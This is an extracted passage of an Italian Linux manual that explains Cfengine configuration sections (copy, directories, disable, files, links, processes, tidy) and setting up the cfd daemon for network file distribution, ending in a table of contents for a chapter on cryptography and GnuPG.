mode=u+rwxAssegna sicuramente all’utente proprietario i permessi dilettura, scrittura ed esecuzione (o attraversamento).

mode=o-rwxToglie agli utenti diversi dall’utente proprietario e dal gruppoproprietario qualunque permesso di accesso.

user=rootgroup=root

Stabilisce che l’utente e il gruppo proprietario deve essere‘ root ’ , ammesso cheCfengine stia funzionando con i pri-vilegi necessari per poter modificare la proprietà di file edirectory.

193.2 Sezione control

La sezione‘control ’ è quella fondamentale di ogni configurazione diCfengine, dal momentoche è attraverso questa, assieme alla direttiva‘actionsequence ’ , che si stabilisce l’utilizzo el’ordine delle altre sezioni. In generale, la sintassi specifica di questa sezione è la seguente:

control:

[ espressione_classe:: ]nome = ( valore... )...

...

...

2114

Page 131: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine: sezioni di uso comune 2115

È essenziale che, nelle direttive di assegnamento tipiche di questa sezione, le parentesi tondesiano spaziate sia all’interno che all’esterno.

193.2.1 Impostazione delle variabili

In questa sezione si dichiarano le variabili e si impostano quelle predefinite che richiedono unintervento. L’esempio seguente definisce la variabile predefinita‘domain ’ :

control:...domain = ( brot.dg )...

193.2.2 Direttiva actionsequence

Al nome ‘actionsequence ’ viene assegnato l’elenco di nomi di sezioni e di altre azioni daeseguire, in base all’ordine in cui si trovano in questo elenco:

control:...

actionsequence = ( azione_1 azione_2... )...

A livello di utilizzo elementare, si fa riferimento sempre solo a nomi di sezione, mentre sonoprevisti altri nomi che identificano azioni particolari che non fanno capo a una sezione.

193.2.3 Direttiva addclasses

La direttiva ‘addclasses ’ è utilizzata per creare delle classi fittizie aggiuntive. L’esempioseguente aggiunge le classi‘bianco ’ e ‘nero ’ :

control:...addclasses = ( bianco nero )...

Si possono aggiungere delle classi anche con l’opzione‘ -D nome’ e si possono eliminare delleclassi con l’opzione‘ -N nome’ .

193.3 Sezione classes o groups

La sezione‘classes ’ , ovvero anche‘groups ’ , è un po’ anomala nella logica diCfengine, dalmomento che non rappresenta un’azione vera e propria, ma la dichiarazione di un raggruppamen-to di classi. Intuitivamente si comprende che questa cosa dovrebbe essere compito della sezione‘control ’ . In effetti, questa sezione viene presa in considerazione comunque e non va annotatanella direttiva‘actionsequence ’ della sezione‘control ’ . La sintassi della dichiarazione diuna classe nell’ambito di questa sezione, può essere di tre tipi:

Page 132: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2116 Cfengine: sezioni di uso comune

classes: | groups:...

gruppo_di_classi = ( classe_1 classe_2... )...

classes: | groups:...

classe = ( + dominio_nis )...

classes: | groups:...

classe = ( " comando_di_shell" )...

Nel primo caso si crea una classe che riproduce la somma di quelle indicate tra parentesi; nelsecondo si ha una classe che rappresenta l’insieme degli elaboratori appartenenti al dominio NISindicato; nel terzo si ottiene una classe se il comando indicato (delimitato tra virgolette) terminacon successo, ovvero restituisceVero.

193.4 Sezione copy

La sezione‘copy ’ serve a copiare file nell’ambito dello stessofile system, oppure tra elaboratoridifferenti, attraverso il demone‘cfd ’ . La copia viene fatta preparando prima un file con esten-sione‘ .cfnew ’ , che alla fine viene rinominato nel modo previsto. Questa accortezza serve nellacopia tra elaboratori, per evitare il danneggiamento dei file nel caso di interruzione della comuni-cazione nella rete. Salvo diversa indicazione, quando viene rimpiazzato un file attraverso la copia,quello vecchio viene conservato temporaneamente aggiungendogli l’estensione‘ .cfsaved ’ .

copy:

[ espressione_classe:: ]origine dest= destinazione[ altre_opzioni]...

...

...

Il contenuto della sezione‘copy ’ , può essere ovviamente suddiviso in classi, se ciò è utile. Allafine, le direttive che possono essere contenute sono di un tipo solo, dove la prima informazioneindica il nome del file, o il modello di file da copiare, mentre il resto sono delle opzioni nellaforma ‘ nome=valore’ . Le opzioni di queste direttive sono numerose; qui ne vengono descrittesolo alcune.

193.4.1 Opzione dest

dest= destinazione

Con questa opzione si definisce la destinazione della copia. Deve trattarsi di un oggetto dellostesso tipo dell’origine: se l’origine è un file normale, la destinazione deve essere un file normale;se l’origine è uncollegamento simbolico la destinazione si riferisce a uncollegamento simbolico;se l’origine è una directory, la destinazione deve essere una directory, in cui verranno copiati tuttii file che si trovano in quella originale (senza riprodurre le sottodirectory eventuali).

copy:/etc/passwd

dest=/home/tizio/users

L’esempio mostra una situazione molto semplice, dove si vuole copiare il file‘ /etc/passwd ’nel file ‘ /home/tizio/users ’ , oppure si vuole mantenere aggiornata la copia.

Page 133: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine: sezioni di uso comune 2117

193.4.2 Opzione recurse

recurse= n_livelli| inf

La copia di una directory può avvenire anche ricorsivamente, attraverso le sue sottodirectory,specificando il livello di ricorsione con questa opzione. Si assegna un numero intero, oppurela parola chiave‘ inf ’ . Il numero rappresenta la quantità di livelli di ricorsione da considerare,mentre la parola‘ inf ’ richiede espressamente una ricorsione infinita.

copy:/etc

dest=/home/tizio/copia_etcrecurse=1

L’esempio mostra la copia del contenuto della directory‘ /etc/ ’ nella directory‘ /home/tizio/

copia_etc/ ’ . Dal momento che la ricorsione è limitata a un solo livello, si ottengono solo i filee le sottodirectory vuote (nel senso che non viene copiato anche il loro contenuto).

193.4.3 Opzione type

type= ctime | mtime | checksum | sum| byte | binary

L’opzione ‘ type ’ definisce in che modoCfengine può determinare se il file va copiato o me-no. Normalmente si fa riferimento alla data di «creazione», intesa come quella in cui vengonomodificati i permessi o comunque viene cambiatoinode, nel senso che solo se il file di origineha una data più recente viene fatta la copia. Intuitivamente si comprende il senso delle parolechiave‘ctime ’ e ‘mtime ’ : la prima fa riferimento esplicito a questa data di creazione, mentre laseconda fa riferimento alla data di modifica. In alternativa, le parole chiave‘checksum ’ o ‘sum’richiedono un controllo attraverso uncodice di controllo (una firma MD5) per determinare se ilfile originale è diverso e se è richiesta la copia.

Si osservi che nella copia tra elaboratori distinti, è l’elaboratore di destinazione che genera lafirma MD5 del suo file e la invia all’elaboratore di origine per il confronto. Pertanto è nell’e-laboratore di origine che avviene la comparazione delle firme e in caso di diversità avviene latrasmissione del file di origine.

Le parole chiave‘byte ’ e ‘binary ’ richiedono un confronto completo dei file byte per byte.

copy:/etc/passwd

dest=/home/tizio/userstype=checksum

L’esempio mostra il caso della copia del file‘ /etc/passwd ’ nel file ‘ /home/tizio/users ’ ,verificando la necessità di aggiornare la copia attraverso uncodice di controllo.

193.4.4 Opzione purge

purge= true | false

L’opzione ‘purge ’ , se attivata assegnando la parola chiave‘ true ’ , abilita l’eliminazione dei fileche nell’origine non sono più presenti.

Page 134: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2118 Cfengine: sezioni di uso comune

copy:/etc

dest=/home/tizio/copia_etcrecurse=infpurge=true

L’esempio mostra la copia del contenuto della directory‘ /etc/ ’ nella directory‘ /home/tizio/

copia_etc/ ’ , con ricorsione infinita, specificando anche che nella destinazione devono essereeliminati i file e le directory che non sono più presenti nell’origine.

193.4.5 Opzione server

server= nodo_remoto

Questa opzione si usa quando si vuole copiare un file remoto; per la precisione, serve a specificareche l’origine si trova presso un altro elaboratore. Per riuscire a copiare attraverso elaboratori, ènecessario che ilnodoservente sia stato predisposto con il demone‘cfd ’ ; inoltre, è necessariospecificare la variabile‘domain ’ nella sezione di controllo (‘control ’).

193.5 Sezione directories

directories:

[ espressione_classe:: ]directory [ opzioni]...

...

...

Le direttive della sezione‘directories ’ servono a richiedere la presenza di directory deter-minate, specificando eventualmente le caratteristiche necessarie. Se le directory in questionemancano, vengono create; se le caratteristiche non corrispondono, queste vengono modificate.

Le opzioni più importanti sono quelle che definiscono i permessi e la proprietà, come descrittonella sezione193.1.

directories:/ mode=0755 owner=root group=root/etc mode=0755 owner=root group=root/bin mode=0755 owner=root group=root/dev mode=0755 owner=root group=root/sbin mode=0755 owner=root group=root/lib mode=0755 owner=root group=root/usr mode=0755 owner=root group=root/tmp mode=1777 owner=root group=root

L’esempio mostra una serie di direttive della sezione‘directories ’ con lo scopo disalvaguardare la presenza, i permessi e la proprietà di alcune directory importanti.

193.6 Sezione disable

disable:

[ espressione_classe:: ]file [ opzioni]...

...

...

La sezione‘disable ’ serve a elencare un gruppo di file che si vogliono «disabilitare». L’idea èche questi file non devono essere presenti, ma non si vogliono nemmeno cancellare. In pratica,se vengono trovati, si aggiunge loro l’estensione‘ .cfdisabled ’ .

Page 135: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine: sezioni di uso comune 2119

disable:/etc/hosts.equiv

L’esempio mostra una situazione tipica, in cui si vuole evitare che esista il file‘ /etc/

hosts.equiv ’ , pur lasciando la possibilità di verificare cosa conteneva effettivamente.

193.6.1 Opzione rotate

rotate= n| empty

Eccezionalmente, se si utilizza l’opzione‘ rotate ’ , si fa riferimento implicitamente afile diregistrazioni (log), che conviene spezzare periodicamente. Assegnando un numero intero all’op-zione, si specifica la quantità di livelli da conservare. Per esempio, assegnando il valore‘2’ , sifa in modo che il file venga rinominato aggiungendo l’estensione‘ .1 ’ , mentre un eventuale filepreesistente con lo stesso nome verrebbe rinominato sostituendo l’estensione‘ .1 ’ con ‘ .2 ’ .

Se si assegna la parola chiave‘empty ’ , non si salvano le versioni precedenti, annullandosemplicemente il contenuto del file.

disable:/var/log/wtmp rotate=7

L’esempio mostra la richiesta di mettere da parte il file‘ /var/log/wtmp ’ , in modo da ricomin-ciare con un file vuoto, mantenendo sette copie precedenti, da‘ /var/log/wtmp.1 ’ a ‘ /var/

log/wtmp.7 ’ .

193.7 Sezione files

files:

[ espressione_classe:: ]file [ opzioni]...

...

...

Le direttive della sezione‘ files ’ servono a richiedere la presenza di file determinati, specifi-cando eventualmente le caratteristiche necessarie. Se i file in questione mancano, vengono creati(vuoti); se le caratteristiche non corrispondono, queste vengono modificate per quanto possibile.

Le opzioni più importanti sono quelle che definiscono i permessi e la proprietà, come descrittonella sezione193.1. Tuttavia è importante anche la possibilità di controllare che i file in questionenon siano stati modificati.

193.7.1 Opzione checksum

checksum=md5

L’opzione ‘checksum ’ (a cui può essere assegnato solo il valore‘md5’) consente di richiederela verifica dei file attraverso uncodice di controllo. Inizialmente, questocodice di controllo deveessere accumulato da qualche parte e precisamente si tratta del file dichiarato nella variabile‘checksumdatabase ’ nella sezione di controllo (‘control ’).

Page 136: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2120 Cfengine: sezioni di uso comune

193.7.2 Opzione recurse

recurse= n_livelli| inf

Anche se si sta facendo riferimento principalmente a file, è consentito indicare directory intere,specificando il livello di ricorsione attraverso l’opzione‘ recurse ’ , già descritta in precedenza.

La sezione‘ files ’ è orientata ai file. Tuttavia, se si richiede l’impostazione di permessi spe-cifici, questi potrebbero interferire con quelli delle directory, nel momento in cui si fa riferi-mento a queste. Per risolvere il problema,Cfengine aggiunge i permessi di attraversamentonecessari alle directory.

193.8 Sezione links

links:

[ espressione_classe:: ]collegamento - | + >[ ! ] oggetto_originale[ opzioni]...

...

...

La sezione‘ links ’ serve per creare, aggiornare e sistemare deicollegamenti simbolici. In ge-nerale si distingue tra collegamenti singoli o collegamenti multipli. La differenza sta nell’usodell’operatore‘ -> ’ oppure‘+>’ .

I collegamenti singoli riguardano un solocollegamento simbolico. Se il collegamento esistegià, viene verificato che corrisponda a quanto descritto nella direttiva, altrimenti si ottiene unasegnalazione di errore.

/usr/local -> /mia_dir/usr/local

L’esempio mostra una direttiva in cui si vuole che sia creato e mantenuto ilcollegamentosimbolico‘ /usr/local ’ , che deve puntare alla directory reale‘ /mia_dir/usr/local/ ’ .

Se il collegamento simbolico esiste già ma non corrisponde, oppure si tratta di un file, si puòimporre la sua correzione con l’aggiunta del punto esclamativo:

/usr/local ->! /mia_dir/usr/local

In tal caso, se‘ /usr/local ’ fosse un file, il suo nome verrebbe modificato in‘ /usr/

local.cfsaved ’ e il collegamento potrebbe così essere sistemato.

I collegamenti multipli si fanno indicando una directory di destinazione e una directory di origine,come nell’esempio seguente:

/usr/local/bin +> /mia_dir/usr/local/bin

In questi casi si vogliono generare nella directory‘ /usr/local/bin/ ’ tanti collegamentisimbolici quanti sono i file nella directory‘ /mia_dir/usr/local/bin/ ’ .

Anche nel caso di collegamenti multipli si può usare il punto esclamativo per richiedere lacorrezione necessaria al completamento dell’operazione.

In generale, non vengono eliminati i collegamenti riferiti a file o directory non più esistenti. Perottenere questo risultato, che potrebbe essere particolarmente utile in presenza di collegamentimultipli, occorre usare l’opzione‘ -L ’ nella riga di comando dell’eseguibile‘cfengine ’ .

Page 137: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine: sezioni di uso comune 2121

La creazione di uncollegamento simbolico può richiedere la creazione delle directoryche lo precedono. In condizioni normali ciò avviene automaticamente, senza bisogno dipreoccuparsene.

193.8.1 Opzione type

type= hard | relative | absolute

La sezione‘ links ’ è pensata fondamentalmente per gestirecollegamenti simbolici. Tuttavia,con questa opzione è possibile richiedere la creazione dicollegamenti fisici, oltre alla possibilitàdi specificare il tipo dicollegamento simbolico che si vuole ottenere: assoluto o relativo.

Indipendentemente dalle possibilità del sistema operativo,Cfengine non può creare deicollegamenti fisici che puntano a directory.

193.8.2 Opzione recurse

recurse= n_livelli| inf

Dal momento che è consentita la generazione di collegamenti multipli, diventa opportuna lapossibilità di specificare il livello di ricorsione attraverso l’opzione‘ recurse ’ , già descritta inprecedenza.

193.9 Sezione processesprocesses:

[ espressione_classe:: ]" espressione_regolare" [ opzioni]...

...

...

La sezione‘processes ’ serve a individuare dei processi in funzione, attraverso un’analisi diquanto restituito dal comando‘ps ’ del sistema operativo. Lo scopo può essere di due tipi: inviareun segnale al processo o ai processi individuati, oppure eseguire un comando per riavviarli sequesti risultano mancanti.

Si deve osservare che ogni direttiva individua uno o più processi in base a un’espressione regola-re, delimitata tra virgolette. In tal modo si può fare riferimento a tutto ciò che appare nel rapportogenerato dal comando‘ps ’ , non soltanto il nome del processo. Tuttavia, ciò significa anche cheoccorre predisporre bene questeespressioni regolari, per non incorrere in errori.

193.9.1 Opzione signal

signal= nome_del_segnale

attraverso l’opzione‘signal ’ si richiede espressamente l’invio del segnale specificato. In man-canza di questa, non si invia alcun segnale. Il nome da assegnare dipende dal sistema operativoutilizzato, anche se in generale si tratta di nomi abbastanza standardizzati.

processes:"inetd" signal=hup

L’esempio mostra il caso in cui si cerchi il processo individuato dalla stringa‘ inetd ’ , perinviargli il segnale SIGHUP.

Page 138: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2122 Cfengine: sezioni di uso comune

193.9.2 Opzione restart

restart " comando_di_shell"

Se non si trova una corrispondenza con l’espressione regolare indicata, si può ottenere l’avviodi un comando che presumibilmente serve ad avviare il processo relativo. Per questo si utilizzal’opzione ‘ restart ’ che, come si vede dal modello sintattico,non utilizza il simbolo ‘=’ perl’assegnamento.

193.9.3 Opzione matches

matches= [ >| <] n

È possibile individuare una quantità di processi che corrispondono all’espressione regolare dipartenza, definendo la quantità attesa. Se si usano gli operatori‘<’ e ‘>’ , ci si aspettano più din processi, o meno din processi, perché la condizione si avveri. Diversamente si attendonoesattamenten processi.

Di solito, questa opzione si abbina soltanto alla richiesta di un avvertimento, attraverso l’opzione‘action=warn ’ .

processes:"telnetd" matches=<7 action=warn

Questo esempio mostra il caso in cui si voglia essere avvisati se si trovano sette o più processicorrispondenti alla stringa‘ telnetd ’ .

Può sembrare strana l’interpretazione dei simboli‘>’ e ‘<’ . In realtà si deve vedre la cosa dallato opposto: con‘>’ ci si aspetta che i processi siano meno della quantità indicata, perché nondebba essere eseguita l’azione; nello stesso modo, con‘<’ ci si aspetta che i processi siano dipiù di quanto indicato perché l’azione non sia eseguita.

193.9.4 Opzione action

action= signal | do| warn

L’opzione ‘action ’ stabilisce il da farsi, quando si verificano le condizioni richieste per inter-venire. Le parole chiave‘signal ’ o ‘do ’ richiedono espressamente l’invio del segnale stabilitocon l’opzione‘signal ’ ; la parola chiave‘warn ’ richiede solo una segnalazione di avvertimento.

193.10 Sezione shellcommands

shellcommands:

[ espressione_classe:: ]" comando" [ opzioni]...

...

...

La sezione‘shellcommands ’ serve a inserire dei comandi dishell, debitamente delimitati travirgolette. Di solito, non si utilizzano le opzioni, anche se in situazioni particolari possono essereutili.

Page 139: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine: sezioni di uso comune 2123

193.11 Sezione tidy

tidy:

[ espressione_classe:: ]directory pattern= modello [ altre_opzioni]...

...

...

La sezione‘ tidy ’ è fatta per eliminare dei file non desiderati. Come si può osservare dal model-lo sintattico, le direttive iniziano dalla definizione di una directory di partenza, per cui diventanecessario specificare i file da eliminare attraverso un modello con l’opzione‘pattern ’ .

193.11.1 Opzione pattern

pattern= modello

Attraverso l’opzione‘pattern ’ si specifica il file o i file da prendere in considerazione nelladirectory di partenza. Il modello si può realizzare utilizzando i soliti simboli speciali,‘* ’ e ‘?’ ,con il significato consueto: qualunque stringa, oppure un solo carattere.

193.11.2 Opzione recurse

recurse= n_livelli| inf

È consentita la cancellazione di file anche attraverso le sottodirectory, utilizzando l’opzione‘ recurse ’ , come già è stato mostrato in precedenza.

193.11.3 Opzione age

age= n_giorni

L’opzione‘age ’ consente di specificare quanto tempo devono avere i file per poter essere cancel-lati. Se il tempo è stato raggiunto o superato, si ottiene la cancellazione. Questo tempo si riferiscein modo predefinito alla data di accesso, ma può essere cambiato con l’opzione‘ type ’ .

tidy:/tmp pattern=* recurse=inf age=1/var/tmp pattern=* recurse=inf age=7

L’esempio mostra un caso molto semplice, in cui si vuole ripulire il contenuto delle directory‘ /tmp/ ’ e ‘ /var/tmp/ ’ , per i file che sono vecchi rispettivamente un giorno e sette giorni.

193.11.4 Opzione type

type= [ ctime | mtime | atime ]

La vecchiaia di un file può essere valutata in base alla data di «creazione», intesa comecambiamento diinode, di modifica o di accesso, assegnando rispettivamente le parole chiave‘ctime ’ , ‘mtime ’ o ‘atime ’ all’opzione ‘ type ’ . Questo serve per stabilire il modo corretto diinterpretazione del valore assegnato all’opzione‘age ’ .

Page 140: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2124 Cfengine: sezioni di uso comune

193.11.5 Opzione rmdirs

rmdirs= [ true | false | all | sub]

In condizioni normali, non si ottiene la cancellazione delle directory. Per questo, occorre usarel’opzione ‘ rmdirs ’ , a cui si assegnano le parole chiave che si vedono nel modello sintattico. Incondizioni normali, è come se fosse assegnata la parola chiave‘ false ’ , che impedisce la cancel-lazione. Se si richiede la cancellazione, si elimina anche la directory di partenza, corrispondenteal modello richiesto. Al contrario, assegnando la parola chiave‘sub ’ , si preserva la directory dipartenza.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 141: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 194

Cfengine attraverso la reteCfengine consente anche un utilizzo attraverso la rete, per mezzo del demone‘cfd ’ , che vieneavviato nell’elaboratore che offre il proprio servizio.

L’utilizzo più semplice di questa possibilità diCfengine sta nella copia di file attraverso la rete,per sincronizzare gli elaboratoriclienti. Per la precisione, questo particolare è l’unica cosa cheviene mostrata qui, in questo capitolo.

194.1 Configurazione e avvio del demone

Il servizio relativo al demone‘cfd ’ prevede l’accesso alla porta TCP 5308, che pertanto non èprivilegiata e consente l’avvio del demone anche senza i privilegi dell’utente‘ root ’ , se questopuò essere utile per qualche motivo. Nel file‘ /etc/services ’ dovrebbe esserci pertanto unariga simile a quella seguente:

cfengine 5308/tcp

Per funzionare, il demone‘cfd ’ richiede la presenza del file‘cfd.conf ’ , nella directory correntenel momento dell’avvio del demone, che ha una struttura simile a quella di‘cfengine.conf ’ .

Oltre a questo file essenziale, occorre tenere presente che il demone tiene in considerazione ancheil contenuto dei file‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ , per controllare gli accessi.

Una volta predisposto il sistema di configurazione, basta avviare il demone‘cfd ’ , con i privilegidell’utente‘ root ’ , se necessario, oppure con i privilegi di un utente comune.

# cfd

Alcune opzioni del demone‘cfd ’ sono molto utili per consentire l’analisi del file di configura-zione e per poter tenere sotto controllo ciò che avviene effettivamente durante la connessione.Queste opzioni sono riepilogate nella tabella194.1.

Tabella 194.1. Elenco delle opzioni essenziali di ‘cfd ’.

Opzione Descrizione

-h | --help Elenca brevemente le opzioni disponibili.

-d | --debug Rimane in primo piano e mostra ciò che accade.

-v | --verbose Mostra informazioni dettagliate.

-p | --parse-only Si limita a scandire il file di configurazione.

Può essere interessante il controllo della configurazione attraverso l’opzione‘ -p ’ , unita oppor-tunamente all’opzione‘ -v ’ . Inoltre, per verificare le connessioni, soprattutto alla ricerca dellemotivazioni per cui qualcosa non funziona come si vorrebbe, conviene utilizzare l’opzione‘ -d ’ ,sempre in combinazione con‘ -v ’ .

# cfd -d -v

2125

Page 142: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2126 Cfengine attraverso la rete

194.1.1 Configurazione essenziale di cfd.conf

Il file ‘cfd.conf ’ ha una vaga somiglianza con il file di configurazione di uncliente normaledi Cfengine. In particolare, ci sono le sezioni e possono essere presenti le classi, solo che hannovalore esclusivamente nei confronti dell’elaboratore in cui si trova a funzionare il demone.

Generalmente, è probabile che non si faccia uso di classi in un file‘cfg.conf ’ e qui non simostrano esempi in tal senso. La sintassi semplificata ed essenziale di questo file, viene mostratadal modello seguente. Si tenga presente che non vengono mostrate tutte le direttive, ma soloquelle che devono essere conosciute necessariamente.

control:

[ domain = ( dominio )][ maxconnections = ( numero_massimo_di_connessioni_indipendenti)][ allowconnectionsfrom = ( numero_ip [ numero_ip] ... )][ denyconnectionsfrom = ( numero_ip [ numero_ip] ... )][ allowmultipleconnectionsfrom = ( numero_ip [ numero_ip] ... )][ logallconnections = ( true | false ) ]

admit: | grant:

file_o_directory nodi_indicati_con_caratteri_jolly...

deny:file_o_directory nodi_indicati_con_caratteri_jolly...

Si può osservare la presenza di una sezione di controllo, simile a quella deiclienti Cfengine.Questa sezione può anche risultare vuota.

Le sezioni‘admit ’ (o ‘grant ’) e ‘deny ’ , permettono di stabilire l’accessibilità di file e di direc-tory, a degli elaboratori identificati per nome, anche in modo parziale attraverso caratteri jolly. Siintende che la sezione‘admit ’ o ‘grant ’ serva a elencare i file e le directory accessibili, mentrela sezione‘deny ’ serve a escludere successivamente parte di quanto precedentemente concesso.

Nella sezione di controllo, le direttive‘maxconnections ’ , ‘allowconnectionsfrom ’ ,‘denyconnectionsfrom ’ e ‘allowmultipleconnectionsfrom ’ , limitano o concedono gliaccessi attraverso l’indicazione di un elenco di indirizzi IP. In generale, questo può essere un mez-zo ulteriore di controllo di sicurezza per gli accessi, dal momento che spesso è sufficiente l’usodelle sezioni‘admit ’ e ‘deny ’ . In particolare, ogniclienteCfengine che accede, ha la possibilitàdi aprire una sola connessione, mentre con la direttiva‘allowmultipleconnectionsfrom ’ èpossibile autorizzare un accesso multiplo agli indirizzi indicati.

L’uso delle altre direttive indicato dovrebbe essere intuitivo; inoltre, nella sezione di controllo èpossibile dichiarare delle variabili, nello stesso modo della configurazione deiclienti Cfengine.

È importante ricordare che i percorsi di cui si concede l’accesso, devono essere reali, perchéi collegamenti simbolici non vengono presi in considerazione. Questo tipo di errore lo si puòindividuare utilizzando l’opzione‘ -d ’ quando si avvia‘cfd ’ .

A titolo di esempio viene mostrato un caso molto semplice di configurazione, in cuisi concede l’accesso alle directory‘ /usr/local/file_pubblici1/ ’ e ‘ /usr/local/

file_pubblici2/ ’ , creando appositamente due variabili per semplificarne l’indicazione; inol-tre si concede l’accesso anche ai file‘ /etc/passwd ’ e ‘ /etc/group ’ . Per la precisione, ladirectory ‘ /usr/local/file_pubblici1/ ’ risulta accessibile a tutti, mentre‘ /usr/local/

file_pubblici2/ ’ è accessibile solo ai domini*.brot.dg e*.mehl.dg ; inoltre, i due file

Page 143: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Cfengine attraverso la rete 2127

‘ /etc/passwd ’ e ‘ /etc/group ’ sono accessibili esclusivamente dal dominio*.brot.dg . In-fine, per qualche motivo, si esclude l’accesso alla directory‘ /usr/local/file_pubblici2/

particolare/ ’ al dominio*.mehl.dg . Ognicliente può aprire una sola connessione e sonoconsentiti un massimo di 10 accessi simultanei.

control:pubblici1 = ( /usr/local/file_pubblici1 )pubblici2 = ( /usr/local/file_pubblici2 )maxconnections = ( 10 )

admit:$(pubblici1) *$(pubblici2) *.brot.dg *.mehl.dg/etc/passwd *.brot.dg/etc/group *.brot.dg

deny:$(pubblici2)/particolare *.mehl.dg

194.2 Filosofia del sistema di distribuzione di Cfengine

È il caso di osservare che, contrariamente aRsync (capitolo171), il clienteCfengine contatta ilservente per ottenere qualcosa e non per inviare lì un file.

Quando la trasmissione di un file è sottoposta al confronto di uncodice di controllo, è ilclienteCfengine che invia il suocodice di controllo alservente, il quale verifica la necessità o meno ditrasmettere il file aggiornato.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 144: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2128 Cfengine attraverso la rete

Page 145: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Parte xxxvii

Riservatezza e certificazione dellecomunicazioni

195 Introduzione ai problemi legati alla crittografia e alla firma elettronica . . . . . . . . . . . .2131

195.1 Crittografia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2131

195.2 Firma elettronica, o firma digitale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2132

195.3 Gestione delle chiavi, certificazione e fiducia . . . . . . . . . . . . . . . . . . . . . . . . . . . .2133

195.4 Cosa può succedere se... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2136

195.5 Servizi per la diffusione delle chiavi pubbliche . . . . . . . . . . . . . . . . . . . . . . . . . . .2136

195.6 Problemi legali . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2136

195.7 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2137

196 GnuPG: GNU Privacy Guard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2138

196.1 Organizzazione generale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2138

196.2 Creazione delle chiavi e del certificato di revoca . . . . . . . . . . . . . . . . . . . . . . . . .2139

196.3 Scambio di chiavi pubbliche . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2141

196.4 Utilizzo della crittografia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2144

196.5 Firma di documenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2145

196.6 Gestione della fiducia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2147

196.7 Accesso a un servente di chiavi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2148

196.8 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2149

197 Autorità di certificazione e certificati . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2150

197.1 Quadro generale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2150

